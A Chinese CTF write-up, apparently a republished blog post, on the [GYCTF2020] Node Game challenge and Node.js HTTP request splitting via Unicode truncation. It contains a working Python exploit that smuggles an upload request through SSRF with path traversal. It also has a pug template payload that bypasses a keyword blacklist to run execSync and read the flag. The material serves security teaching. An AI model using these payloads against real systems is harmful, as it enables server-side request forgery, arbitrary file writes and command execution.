从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击

2023-10-30 13:20

本文主要是介绍从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

nodejs HTTP拆分攻击

nodejs 8.12 Node.js API 文档

当 Node.js 使用 http.get 向特定路径发出HTTP 请求时,发出的请求实际上被定向到了不一样的路径,这是因为NodeJS 中 Unicode 字符损坏导致的 HTTP 拆分攻击


原理


Unicode原理

对于不包含主体的请求,Node.js默认使用“latin1”,这是一种单字节编码字符集,不能表示高编号的Unicode字符,所以,当我们的请求路径中含有多字节编码的Unicode字符时,会被截断取最低字节,比如 \u0130 就会被截断为 \u30

字符可由以下Unicode编码构造出Unicode编码对应的字符Unicode编码对应的字符对应的URL编码
回车符 \r\u010dč%C4%8D
换行符 \n\u010aĊ%C4%8A
空格\u0120Ġ%C4%A0
反斜杠 \\u0122Ģ%C4%A2
单引号 ‘\u0127ħ%C4%A7
反引号 `\u0160Š%C5%A0
叹号 !\u0121ġ%C4%A1

nodejs 的 HTTP 拆分攻击利用

由于 Nodejs 的 HTTP 库包含了阻止 CRLF 的措施,即如果发出一个 URL 路径中含有回车、换行或空格等控制字符的 HTTP 请求时,它们会被 URL 编码,所以正常的 CRLF 注入在 Nodejs 中并不能利用。

Node.js v8 或更低版本对此URL发出 GET 请求时,它不会进行编码转义,因为它们不是HTTP控制字符:

> http.get('http://47.101.57.72:4000/\u010D\u010A/WHOAMI').output
[ 'GET /čĊ/WHOAMI HTTP/1.1\r\nHost: 47.101.57.72:4000\r\nConnection: close\r\n\r\n' ]

但是当结果字符串被编码为 latin1 写入路径时,这些字符将分别被截断为 “\r”(%0d)和 “\n”(%0a):

> Buffer.from('http://47.101.57.72:4000/\u{010D}\u{010A}/WHOAMI', 'latin1').toString()
'http://47.101.57.72:4000/\r\n/WHOAMI'

原始请求数据如下:

GET / HTTP/1.1
Host: 47.101.57.72:4000
…………

当我们插入CRLF数据后,HTTP请求数据变成了:

GET / HTTP/1.1POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………GET HTTP/1.1
Host: 47.101.57.72:4000

所以我们构造的部分:

 HTTP/1.1POST /upload.php HTTP/1.1
Host: 127.0.0.1
…………GET 

构造HTTP请求

py脚本:

payload = ''' HTTP/1.1[POST /upload.php HTTP/1.1
Host: 127.0.0.1]自己的http请求GET / HTTP/1.1
test:'''.replace("\n","\r\n")payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \print(payload)

WP

1.[GYCTF2020]Node Game

source:

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');		// morgan是express默认的日志中间件
const multer = require('multer');    // Multer是nodejs中处理multipart/form-data数据格式(主要用在上传功能中)的中间件。该中间件不处理multipart/form-data数据格式以外的任何形式的数据app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))app.get('/', function(req, res) {var action = req.query.action?req.query.action:"index";			//URL没有传东西就默认到indexif( action.includes("/") || action.includes("\\") ){			//action中不能含有/或\\字符res.send("Errrrr, You have been Blocked");}file = path.join(__dirname + '/template/'+ action +'.pug');var html = pug.renderFile(file);		// 渲染pug模板引擎	/template/自己url传的东西+.pugres.send(html);
});app.post('/file_upload', function(req, res){var ip = req.connection.remoteAddress;var obj = {msg: '',}if (!ip.includes('127.0.0.1')) {		  //admin验证需要有本地IP, nodejs的req.connection.remoteAddress我没有找到伪造的方法,所以这里需要http请求走私obj.msg="only admin's ip can use it"res.send(JSON.stringify(obj));		 //JSON.stringify() 方法用于将 JavaScript 值转换为 JSON 字符串。return }fs.readFile(req.files[0].path, function(err, data){			//node.js 读取文件 fs.readFile(),算是一种格式fs.readFile(filePath,{encoding:"utf-8"}, function (err, fr){,然后去做err判断//这里为了判断上传文件合法if(err){obj.msg = 'upload failed';res.send(JSON.stringify(obj));}else{var file_path = '/uploads/' + req.files[0].mimetype +"/";var file_name = req.files[0].originalnamevar dir_file = __dirname + file_path + file_name		// /uploads/mimetype/filename.ext, 这里可通过mimetype进行目录穿越//可以类比nginx MIME -type和Content-Type的 关系 : 当web服务器收到静态的资源 文件 请求时,依据请求 文件 的后缀名在服务器的 MIME 配置 文件 中找到 对应 的 MIME Type,再根据 MIME Type设置HTTP Response的Content-Type,然后浏览器根据Content-Type的值处理 文件 。if(!fs.existsSync(__dirname + file_path)){		//fs.existsSync如果路径存在则返回 true,否则返回 false。try {fs.mkdirSync(__dirname + file_path)} catch (error) {obj.msg = "file type error";res.send(JSON.stringify(obj));return}}try {fs.writeFileSync(dir_file,data)obj = {msg: 'upload success',filename: file_path + file_name		//上传成功,返回文件名和路径} } catch (error) {obj.msg = 'upload failed';}res.send(JSON.stringify(obj));    }})
})app.get('/source', function(req, res) {res.sendFile(path.join(__dirname + '/template/source.txt'));
});app.get('/core', function(req, res) {var q = req.query.q;var resp = "";if (q) {var url = 'http://localhost:8081/source?' + qconsole.log(url)var trigger = blacklist(url);		//blacklist过滤if (trigger === true) {res.send("<p>error occurs!</p>");} else {try {http.get(url, function(resp) {			//http.get漏洞利用点resp.setEncoding('utf8');resp.on('error', function(err) {if (err.code === "ECONNRESET") {console.log("Timeout occurs");return;}});resp.on('data', function(chunk) {try {resps = chunk.toString();res.send(resps);}catch (e) {res.send(e.message);}}).on('error', (e) => {res.send(e.message);});});} catch (error) {console.log(error);}}} else {res.send("search param 'q' missing!");}
})function blacklist(url) {		//可以通过字符串拼接绕过。var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];var arrayLen = evilwords.length;for (var i = 0; i < arrayLen; i++) {const trigger = url.includes(evilwords[i]);if (trigger === true) {return true}}
}var server = app.listen(8081, function() {var host = server.address().addressvar port = server.address().portconsole.log("Example app listening at http://%s:%s", host, port)
})

路由功能:

  • /:会包含/template目录下的一个pug模板文件并用pub模板引擎进行渲染
  • /source:回显源码
  • /file_upload:限制了只能由127.0.0.1的ip将文件上传到uploads目录里面,所以需要进行ssrf。并且我们可以通过控制mimetype进行目录穿越,从而将文件上传到任意目录。
  • /core:通过q向内网的8081端口传参,然后获取数据再返回外网,并且对url进行黑名单的过滤,但是这里的黑名单可以直接用字符串拼接绕过。

思路:利用SSRF伪造本地ip进行文件上传, 上传一个pug模板文件到/template目录下,这个pug模板文件中含有将根目录里的flag包含进来的代码,然后用?action=来包含该文件,就可读取到flag

pug模板文件–pug的包含


在文件上传处抓包

对抓取到的文件上传的数据包进行删除Cookie,并将Host、Origin、Referer等改为本地地址、Content-Type改为 ../template 用于目录穿越(注意Content-Length也需要改成变化后的值),然后编写以下利用脚本:

import requests
import urllib.parsepayload = ''' HTTP/1.1POST /file_upload HTTP/1.1
Host: 127.0.0.1
Content-Length: 266
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytiv5xTGEO0V9ggkc
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: 127.0.0.1/?action=upload
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../templatedoctype html
htmlheadstyleinclude ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--GET / HTTP/1.1
test:'''.replace("\n","\r\n")def payload_encode(raw):ret = u""for i in raw:ret += chr(0x0100+ord(i))return retpayload = payload_encode(payload)print(payload)
r = requests.get('http://f7eab690-f200-4355-91f7-65c6290ed626.node4.buuoj.cn:81/core?q=' + urllib.parse.quote(payload))
print(r.text)#urllib.parse.quote:URL只允许一部分ASCII字符,其他字符(如汉字)是不符合标准的,此时就要进行编码。

加密也可以用另一种方法

def payload_encode(raw):ret = u""for i in raw:ret += chr(0x0100+ord(i))return retpayload = payload_encode(payload)↓payload = payload.replace('\r\n', '\u010d\u010a') \.replace('+', '\u012b') \.replace(' ', '\u0120') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \.replace('`', '\u0127') \.replace('"', '\u0122') \.replace("'", '\u0a27') \.replace('[', '\u015b') \.replace(']', '\u015d') \

上传pug成功之后,访问?action=[pug的名字] (好像pug不久就会清除掉)
在这里插入图片描述


ps,post上传包的处理还挺严格的,

Content-Length绝对不能少的,是下面的加上上下两个换行,264+2(哎等等,好像数量不对也没关系)

------WebKitFormBoundarytiv5xTGEO0V9ggkc
Content-Disposition: form-data; name="file"; filename="flgg.pug"
Content-Type: ../templatedoctype html
htmlheadstyleinclude ../../../../../../../flag.txt
------WebKitFormBoundarytiv5xTGEO0V9ggkc--

至于本地IP的端口,源码上面看是8081,但其实只是检测了127.0.0.1,不写也可以


关于pug

上传的pug,不止有includ文件的方法

doctype html
htmlheadstyleinclude ../../../../../../../flag.txt

还有通过拼接 命令执行

-var x = eval("glob"+"al.proce"+"ss.mainMo"+"dule.re"+"quire('child_'+'pro'+'cess')['ex'+'ecSync']('cat /flag.txt').toString()")
-return x

参考链接:

https://www.anquanke.com/post/id/241429

这篇关于从 [GYCTF2020]Node Game 了解 nodejs HTTP拆分攻击的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/308203

相关文章

Node.js 数据库 CRUD 项目示例详解(完美解决方案)

《Node.js数据库CRUD项目示例详解(完美解决方案)》:本文主要介绍Node.js数据库CRUD项目示例详解(完美解决方案),本文给大家介绍的非常详细,对大家的学习或工作具有一定的参考... 目录项目结构1. 初始化项目2. 配置数据库连接 (config/db.js)3. 创建模型 (models/

使用Node.js制作图片上传服务的详细教程

《使用Node.js制作图片上传服务的详细教程》在现代Web应用开发中,图片上传是一项常见且重要的功能,借助Node.js强大的生态系统,我们可以轻松搭建高效的图片上传服务,本文将深入探讨如何使用No... 目录准备工作搭建 Express 服务器配置 multer 进行图片上传处理图片上传请求完整代码示例

Nginx中配置HTTP/2协议的详细指南

《Nginx中配置HTTP/2协议的详细指南》HTTP/2是HTTP协议的下一代版本,旨在提高性能、减少延迟并优化现代网络环境中的通信效率,本文将为大家介绍Nginx配置HTTP/2协议想详细步骤,需... 目录一、HTTP/2 协议概述1.HTTP/22. HTTP/2 的核心特性3. HTTP/2 的优

使用Python自建轻量级的HTTP调试工具

《使用Python自建轻量级的HTTP调试工具》这篇文章主要为大家详细介绍了如何使用Python自建一个轻量级的HTTP调试工具,文中的示例代码讲解详细,感兴趣的小伙伴可以参考一下... 目录一、为什么需要自建工具二、核心功能设计三、技术选型四、分步实现五、进阶优化技巧六、使用示例七、性能对比八、扩展方向建

使用Python实现快速搭建本地HTTP服务器

《使用Python实现快速搭建本地HTTP服务器》:本文主要介绍如何使用Python快速搭建本地HTTP服务器,轻松实现一键HTTP文件共享,同时结合二维码技术,让访问更简单,感兴趣的小伙伴可以了... 目录1. 概述2. 快速搭建 HTTP 文件共享服务2.1 核心思路2.2 代码实现2.3 代码解读3.

一文带你了解SpringBoot中启动参数的各种用法

《一文带你了解SpringBoot中启动参数的各种用法》在使用SpringBoot开发应用时,我们通常需要根据不同的环境或特定需求调整启动参数,那么,SpringBoot提供了哪些方式来配置这些启动参... 目录一、启动参数的常见传递方式二、通过命令行参数传递启动参数三、使用 application.pro

一文带你深入了解Python中的GeneratorExit异常处理

《一文带你深入了解Python中的GeneratorExit异常处理》GeneratorExit是Python内置的异常,当生成器或协程被强制关闭时,Python解释器会向其发送这个异常,下面我们来看... 目录GeneratorExit:协程世界的死亡通知书什么是GeneratorExit实际中的问题案例

nvm如何切换与管理node版本

《nvm如何切换与管理node版本》:本文主要介绍nvm如何切换与管理node版本问题,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录nvm切换与管理node版本nvm安装nvm常用命令总结nvm切换与管理node版本nvm适用于多项目同时开发,然后项目适配no

Python实现合并与拆分多个PDF文档中的指定页

《Python实现合并与拆分多个PDF文档中的指定页》这篇文章主要为大家详细介绍了如何使用Python实现将多个PDF文档中的指定页合并生成新的PDF以及拆分PDF,感兴趣的小伙伴可以参考一下... 安装所需要的库pip install PyPDF2 -i https://pypi.tuna.tsingh

Go语言中最便捷的http请求包resty的使用详解

《Go语言中最便捷的http请求包resty的使用详解》go语言虽然自身就有net/http包,但是说实话用起来没那么好用,resty包是go语言中一个非常受欢迎的http请求处理包,下面我们一起来学... 目录安装一、一个简单的get二、带查询参数三、设置请求头、body四、设置表单数据五、处理响应六、超